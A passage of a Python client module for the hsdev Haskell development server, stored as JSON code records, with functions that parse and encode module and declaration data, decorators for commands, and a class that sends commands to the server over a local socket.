'___EOS___']", "index": 138 }, { "content": "def get_value(dc, ks, defval = None):\n if dc is None:\n return defval\n if type(ks) == list:\n cur = dc\n for k in ks:\n cur = cur.get(k)\n if cur is None:\n return defval\n return cur\n else:\n return dc.get(ks, defval)", "metadata": "root.get_value", "header": "['module', '___EOS___']", "index": 143 }, { "content": "def parse_package_db(d, defval = None):\n if type(d) == dict:\n pdb = get_value(d, 'package-db')\n return symbols.PackageDb(package_db = pdb) if pdb else defval\n if d == 'global-db':\n return symbols.PackageDb(global_db = True)\n if d == 'user-db':\n return symbols.PackageDb(user_db = True)\n return defval", "metadata": "root.parse_package_db", "header": "['module', '___EOS___']", "index": 157 }, { "content": "def parse_position(d):\n if not d:\n return None\n line = get_value(d, 'line')\n column = get_value(d, 'column')\n if line is not None and column is not None:\n return symbols.Position(line, column)\n return None", "metadata": "root.parse_position", "header": "['module', '___EOS___']", "index": 167 }, { "content": "def parse_location(d):\n loc = symbols.Location(\n get_value(d, 'file'),\n get_value(d, 'project'))\n if not loc.is_null():\n return loc\n loc = symbols.InstalledLocation(\n symbols.parse_package(get_value(d, 'package')),\n parse_package_db(get_value(d, 'db')))\n if not loc.is_null():\n return loc\n loc = symbols.OtherLocation(\n get_value(d, 'source'))\n if not loc.is_null():\n return loc\n return None", "metadata": "root.parse_location", "header": "['module', '___EOS___']", "index": 176 }, { "content": "def parse_import(d):\n if not d:\n return None\n return symbols.Import(d['name'], d['qualified'], d.get('as'), parse_position(d.get('pos')))", "metadata": "root.parse_import", "header": "['module', '___EOS___']", "index": 193 }, { "content": "def parse_module_id(d):\n if d is None:\n return None\n return symbols.Module(\n d['name'],\n [], [], {},\n parse_location(d.get('location')))", "metadata": "root.parse_module_id", "header": "['module', '___EOS___']", "index": 198 }, { "content": "def parse_declaration(decl):\n try:\n what = decl['decl']['what']\n docs = crlf2lf(decl.get('docs'))\n name = decl['name']\n pos = parse_position(decl.get('pos'))\n imported = []\n if 'imported' in decl and decl['imported']:\n imported = [parse_import(d) for d in decl['imported']]\n defined = None\n if 'defined' in decl and decl['defined']:\n defined = parse_module_id(decl['defined'])\n\n if what == 'function':\n return symbols.Function(name, decl['decl'].get('type'), docs, imported, defined, pos)\n elif what == 'type':\n return symbols.Type(name, decl['decl']['info'].get('ctx'), decl['decl']['info'].get('args', []), decl['decl']['info'].get('def'), docs, imported, defined, pos)\n elif what == 'newtype':\n return symbols.Newtype(name, decl['decl']['info'].get('ctx'), decl['decl']['info'].get('args', []), decl['decl']['info'].get('def'), docs, imported, defined, pos)\n elif what == 'data':\n return symbols.Data(name, decl['decl']['info'].get('ctx'), decl['decl']['info'].get('args', []), decl['decl']['info'].get('def'), docs, imported, defined, pos)\n elif what == 'class':\n return symbols.Class(name, decl['decl']['info'].get('ctx'), decl['decl']['info'].get('args', []), decl['decl']['info'].get('def'), docs, imported, defined, pos)\n else:\n return None\n except Exception as e:\n log('Error pasring declaration: {0}'.format(e), log_error)\n return None", "metadata": "root.parse_declaration", "header": "['module', '___EOS___']", "index": 206 }, { "content": "def parse_declarations(decls):\n if decls is None:\n return None\n return [parse_declaration(d) for d in decls]", "metadata": "root.parse_declarations", "header": "['module', '___EOS___']", "index": 235 }, { "content": "def parse_module_declaration(d, parse_module_info = True):\n try:\n m = None\n if 'module-id' in d and parse_module_info:\n m = parse_module_id(d['module-id'])\n\n loc = parse_location(d['module-id'].get('location'))\n decl = parse_declaration(d['declaration'])\n\n if not decl:\n return None\n\n decl.module = m\n\n return decl\n except:\n return None", "metadata": "root.parse_module_declaration", "header": "['module', '___EOS___']", "index": 240 }, { "content": "def parse_module(d):\n if d is None:\n return None\n return symbols.Module(\n d['name'],\n d.get('exports'),\n [parse_import(i) for i in d['imports']] if 'imports' in d else [],\n dict((decl['name'],parse_declaration(decl)) for decl in d['declarations']) if 'declarations' in d else {},\n parse_location(d.get('location')))", "metadata": "root.parse_module", "header": "['module', '___EOS___']", "index": 258 }, { "content": "def parse_modules(ds):\n if ds is None:\n return None\n return [parse_module(d) for d in ds]", "metadata": "root.parse_modules", "header": "['module', '___EOS___']", "index": 268 }, { "content": "def parse_cabal_package(d):\n if d is None:\n return None\n return symbols.CabalPackage(\n d['name'],\n d.get('synopsis'),\n d.get('default-version'),\n d.get('installed-versions'),\n d.get('homepage'),\n d.get('license'))", "metadata": "root.parse_cabal_package", "header": "['module', '___EOS___']", "index": 273 }, { "content": "def parse_corrections(d):\n if d is None:\n return None\n return [parse_correction(c) for c in d]", "metadata": "root.parse_corrections", "header": "['module', '___EOS___']", "index": 284 }, { "content": "def parse_correction(d):\n return symbols.Correction(\n d['source']['file'],\n d['level'],\n d['note']['message'],\n parse_corrector(d['note']['corrector']))", "metadata": "root.parse_correction", "header": "['module', '___EOS___']", "index": 289 }, { "content": "def parse_corrector(d):\n return symbols.Corrector(\n parse_position(d['region']['from']),\n parse_position(d['region']['to']),\n d['contents'])", "metadata": "root.parse_corrector", "header": "['module', '___EOS___']", "index": 296 }, { "content": "def encode_corrections(cs):\n return [encode_correction(c) for c in cs]", "metadata": "root.encode_corrections", "header": "['module', '___EOS___']", "index": 302 }, { "content": "def encode_correction(c):\n return {\n 'source': {\n 'project': None,\n 'file': c.file },\n 'level': c.level,\n 'note': {\n 'corrector': encode_corrector(c.corrector),\n 'message': c.message },\n 'region': {\n 'from': encode_position(c.corrector.start.from_zero_based()),\n 'to': encode_position(c.corrector.end.from_zero_based()) }\n }", "metadata": "root.encode_correction", "header": "['module', '___EOS___']", "index": 305 }, { "content": "def encode_corrector(c):\n return {\n 'region': {\n 'from': encode_position(c.start),\n 'to': encode_position(c.end) },\n 'contents': c.contents }", "metadata": "root.encode_corrector", "header": "['module', '___EOS___']", "index": 319 }, { "content": "def encode_position(p):\n return {\n 'line': p.line,\n 'column': p.column }", "metadata": "root.encode_position", "header": "['module', '___EOS___']", "index": 326 }, { "content": "def encode_package_db(db):\n if db.user_db:\n return 'user-db'\n if db.global_db:\n return 'global-db'\n if db.package_db:\n return {'package-db': db.package_db}\n return None", "metadata": "root.encode_package_db", "header": "['module', '___EOS___']", "index": 331 }, { "content": "def reconnect_function(fn):\n def wrapped(self, *args, **kwargs):\n autoconnect_ = kwargs.pop('autoconnect', False)\n on_reconnect_ = kwargs.pop('on_reconnect', None)\n just_connect_ = kwargs.pop('just_connect', False)\n def run_fn():\n if not just_connect_:\n self.autoconnect = autoconnect_\n self.on_reconnect = on_reconnect_\n return fn(self, *args, **kwargs)\n if not just_connect_:\n self.set_reconnect_function(run_fn)\n return run_fn()\n return wrapped", "metadata": "root.reconnect_function", "header": "['module', '___EOS___']", "index": 340 }, { "content": "class begin_connecting(object):\n\n", "metadata": "root.begin_connecting", "header": "['module', '___EOS___']", "index": 355 }, { "content": " def __init__(self, agent):\n self.agent = agent", "metadata": "root.begin_connecting.__init__", "header": "['class', 'begin_connecting', '(', 'object', ')', ':', '___EOS___']", "index": 356 }, { "content": " def __enter__(self):\n self.agent.set_connecting()\n return self", "metadata": "root.begin_connecting.__enter__", "header": "['class', 'begin_connecting', '(', 'object', ')', ':', '___EOS___']", "index": 359 }, { "content": " def __exit__(self, type, value, traceback):\n if type:\n self.agent.set_unconnected()\n else:\n if self.agent.is_connecting():\n self.agent.set_unconnected()", "metadata": "root.begin_connecting.__exit__", "header": "['class', 'begin_connecting', '(', 'object', ')', ':', '___EOS___']", "index": 363 }, { "content": "def connect_function(fn):\n def wrapped(self, *args, **kwargs):\n if self.is_unconnected():\n with begin_connecting(self):\n return fn(self, *args, **kwargs)\n else:\n log('hsdev already connected', log_warning)\n return wrapped", "metadata": "root.connect_function", "header": "['module', '___EOS___']", "index": 370 }, { "content": "def hsdev_command(async = False, timeout = None, is_list = False):\n def wrap_function(fn):\n def wrapped(self, *args, **kwargs):\n wait_flag = kwargs.pop('wait', not async)\n timeout_arg = kwargs.pop('timeout', timeout)\n on_resp = kwargs.pop('on_response', None)\n on_not = kwargs.pop('on_notify', None)\n on_err = kwargs.pop('on_error', None)\n on_res_part = kwargs.pop('on_result_part', None)\n split_res = kwargs.pop('split_result', on_res_part is not None)\n\n (name_, opts_, on_result_) = fn(self, *args, **kwargs)\n\n if is_list and split_res:\n result = []\n def on_notify(n):\n if 'result-part' in n:\n rp = on_result_([n['result-part']])[0]\n call_callback(on_res_part, rp)\n result.append(rp)\n else:\n call_callback(on_not, n)\n def on_response(r):\n on_resp(result)\n\n opts_.update({'split-result': None}) # FIXME: Is this option still used?\n r = self.call(\n name_,\n opts_,\n on_response = on_response if on_resp else None,\n on_notify = on_notify,\n on_error = on_err,\n wait = wait_flag,\n timeout = timeout_arg)\n if wait_flag:\n return result\n return r\n\n else:\n def on_response(r):\n on_resp(on_result_(r))\n r = self.call(\n name_,\n opts_,\n on_response = on_response if on_resp else None,\n on_notify = on_not,\n on_error = on_err,\n wait = wait_flag,\n timeout = timeout_arg)\n if wait_flag:\n return on_result_(r)\n return r\n return wrapped\n return wrap_function", "metadata": "root.hsdev_command", "header": "['module', '___EOS___']", "index": 379 }, { "content": "def command(fn):\n return hsdev_command(async = False, timeout = 1)(fn)", "metadata": "root.command", "header": "['module', '___EOS___']", "index": 434 }, { "content": "def async_command(fn):\n return hsdev_command(async = True)(fn)", "metadata": "root.async_command", "header": "['module', '___EOS___']", "index": 437 }, { "content": "def list_command(fn):\n return hsdev_command(async = False, timeout = 1, is_list = True)(fn)", "metadata": "root.list_command", "header": "['module', '___EOS___']", "index": 440 }, { "content": "def async_list_command(fn):\n return hsdev_command(async = True, is_list = True)(fn)", "metadata": "root.async_list_command", "header": "['module', '___EOS___']", "index": 443 }, { "content": "def cmd(name_, opts_ = {}, on_result = lambda r: r):\n return (name_, opts_, on_result)", "metadata": "root.cmd", "header": "['module', '___EOS___']", "index": 446 }, { "content": "def call_callback(fn, *args, **kwargs):\n name = kwargs.get('name')\n if name:\n del kwargs['name']\n try:\n if fn is not None:\n fn(*args, **kwargs)\n except Exception as e:\n log(\"callback '{0}' throws exception: {1}\".format(name or '<unnamed>', e))", "metadata": "root.call_callback", "header": "['module', '___EOS___']", "index": 449 }, { "content": "def format_error_details(ds):\n return ', '.join(['{}: {}'.format(k, v) for k, v in ds.items()])", "metadata": "root.format_error_details", "header": "['module', '___EOS___']", "index": 459 }, { "content": "class HsDevCallbacks(object):\n\n\n\n\n", "metadata": "root.HsDevCallbacks", "header": "['module', '___EOS___']", "index": 462 }, { "content": " def __init__(self, id, command, on_response = None, on_notify = None, on_error = None):\n self.id = id\n self.command = command\n self.start_time = time.clock()\n self.on_response = on_response\n self.on_notify = on_notify\n self.on_error = on_error", "metadata": "root.HsDevCallbacks.__init__", "header": "['class', 'HsDevCallbacks', '(', 'object', ')', ':', '___EOS___']", "index": 463 }, { "content": " def time(self):\n return time.clock() - self.start_time if self.start_time is not None else None", "metadata": "root.HsDevCallbacks.time", "header": "['class', 'HsDevCallbacks', '(', 'object', ')', ':', '___EOS___']", "index": 471 }, { "content": " def log_time(self):\n log('{0}: {1} seconds'.format(self.command, self.time()), log_trace)", "metadata": "root.HsDevCallbacks.log_time", "header": "['class', 'HsDevCallbacks', '(', 'object', ')', ':', '___EOS___']", "index": 474 }, { "content": " def call_response(self, r):\n self.log_time()\n call_callback(self.on_response, r)", "metadata": "root.HsDevCallbacks.call_response", "header": "['class', 'HsDevCallbacks', '(', 'object', ')', ':', '___EOS___']", "index": 477 }, { "content": " def call_notify(self, n):\n call_callback(self.on_notify, n)", "metadata": "root.HsDevCallbacks.call_notify", "header": "['class', 'HsDevCallbacks', '(', 'object', ')', ':', '___EOS___']", "index": 481 }, { "content": " def call_error(self, e, ds):\n self.log_time()\n log('{0} returns error: {1}, {2}'.format(self.command, e, format_error_details(ds)), log_error)\n call_callback(self.on_error, e, ds)", "metadata": "root.HsDevCallbacks.call_error", "header": "['class', 'HsDevCallbacks', '(', 'object', ')', ':', '___EOS___']", "index": 484 }, { "content": "class HsDev(object):\n\n\n # Autoconnect\n\n\n # Util\n\n\n\n # Static creators\n\n\n\n # Socket functions\n\n\n \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n # Commands\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n", "metadata": "root.HsDev", "header": "['module', '___EOS___']", "index": 490 }, { "content": " def __init__(self, port = 4567):\n self.port = port\n self.connecting = threading.Event()\n self.connected = threading.Event()\n self.socket = None\n self.listener = None\n self.hsdev_address = None\n self.autoconnect = True\n self.map = LockedObject({})\n self.id = 1\n\n self.connect_fun = None\n\n self.part = ''\n\n self.on_connected = None\n self.on_disconnected = None\n self.on_reconnect = None", "metadata": "root.HsDev.__init__", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 491 }, { "content": " def __del__(self):\n self.close()", "metadata": "root.HsDev.__del__", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 510 }, { "content": " def set_reconnect_function(self, f):\n if self.connect_fun is None:\n self.connect_fun = f", "metadata": "root.HsDev.set_reconnect_function", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 514 }, { "content": " def reconnect(self):\n if self.connect_fun is not None:\n log('Reconnecting to hsdev...', log_info)\n call_callback(self.on_reconnect, name = 'HsDev.on_reconnect')\n self.connect_fun()\n else:\n log('No reconnect function')", "metadata": "root.HsDev.reconnect", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 518 }, { "content": " @staticmethod\n def run_server(port = 4567, cache = None, log_file = None, log_config = None):\n cmd = concat_args([\n (True, [\"hsdev\", \"run\"]),\n (port, [\"--port\", str(port)]),\n (cache, [\"--cache\", cache]),\n (log_file, [\"--log\", log_file]),\n (log_config, [\"--log-config\", log_config])])\n\n log('Starting hsdev server', log_info)\n p = call_and_wait(cmd, wait = False)\n if not p:\n log('Failed creating hsdev process', log_error)\n return None\n while True:\n output = crlf2lf(decode_bytes(p.stdout.readline()))\n m = re.match(r'^.*?hsdev> Server started at port (?P<port>\\d+)$', output)\n if m:\n log('hsdev server started at port {0}'.format(m.group('port')))\n p.stdout.close()\n p.stderr.close()\n return p", "metadata": "root.HsDev.run_server", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 528 }, { "content": " @staticmethod\n def start_server(port = 4567, cache = None, log_file = None, log_config = None):\n cmd = concat_args([\n (True, [\"hsdev\", \"start\"]),\n (port, [\"--port\", str(port)]),\n (cache, [\"--cache\", cache]),\n (log_file, [\"--log\", log_file]),\n (log_config, [\"--log-config\", log_config])])\n\n def parse_response(s):\n try:\n return {} if s.isspace() else json.loads(s)\n except Exception as e:\n return {'error': 'Invalid response', 'details': s}\n\n log('Starting hsdev server', log_info)\n\n ret = call_and_wait_tool(cmd, 'hsdev', '', None, None, None, check_enabled = False)\n if ret is not None:\n return ret\n return None", "metadata": "root.HsDev.start_server", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 551 }, { "content": " @staticmethod\n def client(port = 4567, cache = None, autoconnect = False):\n start_server(port = port, cache = cache)\n h = HsDev(port = port)\n h.connect(autoconnect = autoconnect)\n return h", "metadata": "root.HsDev.client", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 575 }, { "content": " @staticmethod\n def client_async(port = 4567, cache = None, autoconnect = False):\n start_server(port = port, cache = cache)\n h = HsDev(port = port)\n h.connect_async(autoconnect = autoconnect)\n return h", "metadata": "root.HsDev.client_async", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 582 }, { "content": " @connect_function\n @reconnect_function\n def connect(self, tries = 10, delay = 1.0):\n self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\n for n in range(0, tries):\n try:\n log('connecting to hsdev server ({0})...'.format(n), log_info)\n self.socket.connect(('127.0.0.1', self.port))\n self.hsdev_socket = self.socket\n self.hsdev_address = '127.0.0.1'\n self.set_connected()\n self.listener = threading.Thread(target = self.listen)\n self.listener.start()\n log('connected to hsdev server', log_info)\n call_callback(self.on_connected, name = 'HsDev.on_connected')\n return True\n except Exception as e:\n log('failed to connect to hsdev server ({0})'.format(n), log_warning)\n time.sleep(delay)\n\n return False", "metadata": "root.HsDev.connect", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 591 }, { "content": " @reconnect_function\n def connect_async(self, tries = 10, delay = 1.0):\n thread = threading.Thread(\n target = self.connect,\n kwargs = { 'tries' : tries, 'delay': delay, 'just_connect' : True })\n thread.start()", "metadata": "root.HsDev.connect_async", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 614 }, { "content": " def wait(self, timeout = None):\n return self.connected.wait(timeout)", "metadata": "root.HsDev.wait", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 621 }, { "content": " def close(self):\n if self.is_unconnected():\n return\n self.connected.clear()\n if self.hsdev_socket:\n self.hsdev_socket.close()\n self.hsdev_socket = None\n self.socket.close()", "metadata": "root.HsDev.close", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 624 }, { "content": " def is_connecting(self):\n return self.connecting.is_set()", "metadata": "root.HsDev.is_connecting", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 633 }, { "content": " def is_connected(self):\n return self.connected.is_set()", "metadata": "root.HsDev.is_connected", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 636 }, { "content": " def is_unconnected(self):\n return (not self.is_connecting()) and (not self.is_connected())", "metadata": "root.HsDev.is_unconnected", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 639 }, { "content": " def set_unconnected(self):\n if self.connecting.is_set():\n self.connecting.clear()\n if self.connected.is_set():\n self.connected.clear()", "metadata": "root.HsDev.set_unconnected", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 642 }, { "content": " def set_connecting(self):\n self.set_unconnected()\n self.connecting.set()", "metadata": "root.HsDev.set_connecting", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 648 }, { "content": " def set_connected(self):\n if self.is_connecting():\n self.connected.set()\n self.connecting.clear()\n else:\n log('HsDev.set_connected called while not in connecting state', log_debug)", "metadata": "root.HsDev.set_connected", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 652 }, { "content": " def on_receive(self, id, command, on_response = None, on_notify = None, on_error = None):\n with self.map as m:\n m[id] = HsDevCallbacks(id, command, on_response, on_notify, on_error)", "metadata": "root.HsDev.on_receive", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 659 }, { "content": " def verify_connected(self):\n if self.is_connected():\n return True\n else:\n self.connection_lost('verify_connected', 'no connection')\n return self.is_connected()", "metadata": "root.HsDev.verify_connected", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 663 }, { "content": " def connection_lost(self, fn, e):\n if self.is_unconnected():\n return\n self.close()\n log('{0}: connection to hsdev lost: {1}'.format(fn, e), log_error)\n call_callback(self.on_disconnected, name = 'HsDev.on_disconnected')\n\n # send error to callbacks\n with self.map as m:\n for on_msg in m.values():\n on_msg.on_error('connection lost')\n m.clear()\n\n self.id = 1\n self.part = ''\n\n if self.autoconnect:\n self.reconnect()", "metadata": "root.HsDev.connection_lost", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 670 }, { "content": " def call(self, command, opts = {}, on_response = None, on_notify = None, on_error = None, wait = False, timeout = None, id = None):\n # log\n args_cmd = 'hsdev {0}'.format(command)\n call_cmd = 'hsdev {0} with {1}'.format(command, opts)\n\n if not self.verify_connected():\n return None if wait else False\n\n try:\n wait_receive = threading.Event() if wait else None\n\n x = {}\n\n def on_response_(r):\n x['result'] = r\n call_callback(on_response, r)\n if wait_receive:\n wait_receive.set()\n\n def on_error_(e, ds):\n call_callback(on_error, e, ds)\n if wait_receive:\n wait_receive.set()\n\n if wait or on_response or on_notify or on_error:\n if id is None:\n id = str(self.id)\n self.id = self.id + 1\n self.on_receive(id, args_cmd, on_response_, on_notify, on_error_)\n\n opts.update({'no-file': True})\n opts.update({'id': id, 'command': command})\n msg = json.dumps(opts, separators = (',', ':'))\n\n # Seems, that first sendall doesn't throw error on closed socket\n # So we just call it twice\n # It's hackish, but I haven't found easy solution\n self.hsdev_socket.sendall(msg.encode('utf-8'))\n self.hsdev_socket.sendall('\\n'.encode('utf-8'))\n log(call_cmd, log_trace)\n\n if wait:\n wait_receive.wait(timeout)\n return x.get('result')\n\n return True\n except Exception as e:\n log('{0} fails with exception: {1}'.format(call_cmd, e), log_error)\n self.connection_lost('call', e)\n return False", "metadata": "root.HsDev.call", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 689 }, { "content": " def listen(self):\n while self.verify_connected():\n try:\n resp = json.loads(self.get_response())\n if 'id' in resp:\n callbacks = None\n with self.map as m:\n if resp['id'] in m:\n callbacks = m[resp['id']]\n if callbacks:\n if 'notify' in resp:\n callbacks.call_notify(resp['notify'])\n if 'error' in resp:\n err = resp.pop(\"error\")\n callbacks.call_error(err, resp)\n with self.map as m:\n m.pop(resp['id'])\n if 'result' in resp:\n callbacks.call_response(resp['result'])\n with self.map as m:\n m.pop(resp['id'])\n except Exception as e:\n self.connection_lost('listen', e)\n return", "metadata": "root.HsDev.listen", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 740 }, { "content": " def get_response(self):\n while not '\\n' in self.part:\n self.part = self.part + self.socket.recv(65536).decode('utf-8')\n (r, _, post) = self.part.partition('\\n')\n self.part = post\n return r", "metadata": "root.HsDev.get_response", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 765 }, { "content": " @command\n def link(self, hold = False, **kwargs):\n return cmd('link', {\n 'hold': hold })", "metadata": "root.HsDev.link", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 774 }, { "content": " @command\n def ping(self):\n return cmd('ping', {}, lambda r: r and ('message' in r) and (r['message'] == 'pong'))", "metadata": "root.HsDev.ping", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 779 }, { "content": " @async_command\n def scan(self, cabal = False, sandboxes = [], projects = [], files = [], paths = [], ghc = [], contents = {}, docs = False, infer = False):\n return cmd('scan', {\n 'projects': projects,\n 'cabal': cabal,\n 'sandboxes': sandboxes,\n 'files': files,\n 'paths': paths,\n 'contents': [{'file': f, 'contents': cts} for f, cts in contents.items()],\n 'ghc-opts': ghc,\n 'docs': docs,\n 'infer': infer })", "metadata": "root.HsDev.scan", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 783 }, { "content": " @async_command\n def docs(self, projects = [], files = [], modules = []):\n return cmd('docs', {\n 'projects': projects,\n 'files': files,\n 'modules': modules })", "metadata": "root.HsDev.docs", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 796 }, { "content": " @async_command\n def infer(self, projects = [], files = [], modules = []):\n return cmd('infer', {\n 'projects': projects,\n 'files': files,\n 'modules': modules })", "metadata": "root.HsDev.infer", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 803 }, { "content": " @async_list_command\n def remove(self, cabal = False, sandboxes = [], projects = [], files = [], packages = []):\n return cmd('remove', {\n 'projects': projects,\n 'cabal': cabal,\n 'sandboxes': sandboxes,\n 'files': files,\n 'packages': packages })", "metadata": "root.HsDev.remove", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 810 }, { "content": " @command\n def remove_all(self):\n return cmd('remove-all', {})", "metadata": "root.HsDev.remove_all", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 819 }, { "content": " @list_command\n def list_modules(self, project = None, file = None, module = None, deps = None, sandbox = None, cabal = False, db = None, package = None, source = False, standalone = False):\n fs = []\n if project:\n fs.append({'project': project})\n if file:\n fs.append({'file': file})\n if module:\n fs.append({'module': module})\n if deps:\n fs.append({'deps': deps})\n if sandbox:\n fs.append({'cabal':{'sandbox': sandbox}})\n if cabal:\n fs.append({'cabal':'cabal'})\n if db:\n fs.append({'db': encode_package_db(db)})\n if package:\n fs.append({'package': package})\n if source:\n fs.append('sourced')\n if standalone:\n fs.append('standalone')\n\n return cmd('modules', {'filters': fs}, parse_modules_brief)", "metadata": "root.HsDev.list_modules", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 823 }, { "content": " @list_command\n def list_packages(self):\n return cmd('packages', {})", "metadata": "root.HsDev.list_packages", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 849 }, { "content": " @list_command\n def list_projects(self):\n return cmd('projects', {})", "metadata": "root.HsDev.list_projects", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 853 }, { "content": " @list_command\n def symbol(self, input = \"\", search_type = 'prefix', project = None, file = None, module = None, deps = None, sandbox = None, cabal = False, db = None, package = None, source = False, standalone = False, locals = False):\n # search_type is one of: exact, prefix, infix, suffix, regex\n q = {'input': input, 'type': search_type}\n\n fs = []\n if project:\n fs.append({'project': project})\n if file:\n fs.append({'file': file})\n if module:\n fs.append({'module': module})\n if deps:\n fs.append({'deps': deps})\n if sandbox:\n fs.append({'cabal':{'sandbox': sandbox}})\n if cabal:\n fs.append({'cabal':'cabal'})\n if db:\n fs.append({'db': encode_package_db(db)})\n if package:\n fs.append({'package': package})\n if source:\n fs.append('sourced')\n if standalone:\n fs.append('standalone')\n\n return cmd('symbol', {'query': q, 'filters': fs, 'locals': locals}, parse_decls)", "metadata": "root.HsDev.symbol", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 857 }, { "content": " @command\n def module(self, input = \"\", search_type = 'prefix', project = None, file = None, module = None, deps = None, sandbox = None, cabal = False, db = None, package = None, source = False, standalone = False):\n q = {'input': input, 'type': search_type}\n\n fs = []\n if project:\n fs.append({'project': project})\n if file:\n fs.append({'file': file})\n if module:\n fs.append({'module': module})\n if deps:\n fs.append({'deps': deps})\n if sandbox:\n fs.append({'cabal':{'sandbox': sandbox}})\n if cabal:\n fs.append({'cabal':'cabal'})\n if db:\n fs.append({'db': encode_package_db(db)})\n if package:\n fs.append({'package': package})\n if source:\n fs.append('sourced')\n if standalone:\n fs.append('standalone')\n\n return cmd('module', {'query': q, 'filters': fs}, parse_modules)", "metadata": "root.HsDev.module", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 886 }, { "content": " @command\n def resolve(self, file, exports = False):\n return cmd('resolve', {'file': file, 'exports': exports}, parse_module)", "metadata": "root.HsDev.resolve", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 914 }, { "content": " @command\n def project(self, project = None, path = None):\n return cmd('project', {'name': project} if project else {'path': path})", "metadata": "root.HsDev.project", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 918 }, { "content": " @command\n def sandbox(self, path):\n return cmd('sandbox', {'path': path})", "metadata": "root.HsDev.sandbox", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 922 }, { "content": " @list_command\n def lookup(self, name, file):\n return cmd('lookup', {'name': name, 'file': file}, parse_decls)", "metadata": "root.HsDev.lookup", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 926 }, { "content": " @list_command\n def whois(self, name, file):\n return cmd('whois', {'name': name, 'file': file}, parse_declarations)", "metadata": "root.HsDev.whois", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 930 }, { "content": " @list_command\n def scope_modules(self, file, input = '', search_type = 'prefix'):\n return cmd('scope modules', {'query': {'input': input, 'type': search_type}, 'file': file}, parse_modules_brief)", "metadata": "root.HsDev.scope_modules", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 934 }, { "content": " @list_command\n def scope(self, file, input = '', search_type = 'prefix', global_scope = False):\n return cmd('scope', {'query': {'input': input, 'type': search_type}, 'global': global_scope, 'file': file}, parse_declarations)", "metadata": "root.HsDev.scope", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 938 }, { "content": " @list_command\n def complete(self, input, file, wide = False):\n return cmd('complete', {'prefix': input, 'wide': wide, 'file': file}, parse_declarations)", "metadata": "root.HsDev.complete", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 942 }, { "content": " @list_command\n def hayoo(self, query, page = None, pages = None):\n return cmd('hayoo', {'query': query, 'page': page or 0, 'pages': pages or 1}, parse_decls)", "metadata": "root.HsDev.hayoo", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 946 }, { "content": " @list_command\n def cabal_list(self, packages):\n cmd('cabal list', {'packages': packages}, lambda r: [parse_cabal_package(s) for s in r] if r else None)", "metadata": "root.HsDev.cabal_list", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 950 }, { "content": " @list_command\n def lint(self, files = [], contents = {}, hlint = []):\n return cmd('lint', {\n 'files': files,\n 'contents': [{'file': f, 'contents': cts} for f, cts in contents.items()],\n 'hlint-opts': hlint})", "metadata": "root.HsDev.lint", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 954 }, { "content": " @list_command\n def check(self, files = [], contents = {}, ghc = []):\n return cmd('check', {\n 'files': files,\n 'contents': [{'file': f, 'contents': cts} for f, cts in contents.items()],\n 'ghc-opts': ghc})", "metadata": "root.HsDev.check", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 961 }, { "content": " @list_command\n def check_lint(self, files = [], contents = {}, ghc = [], hlint 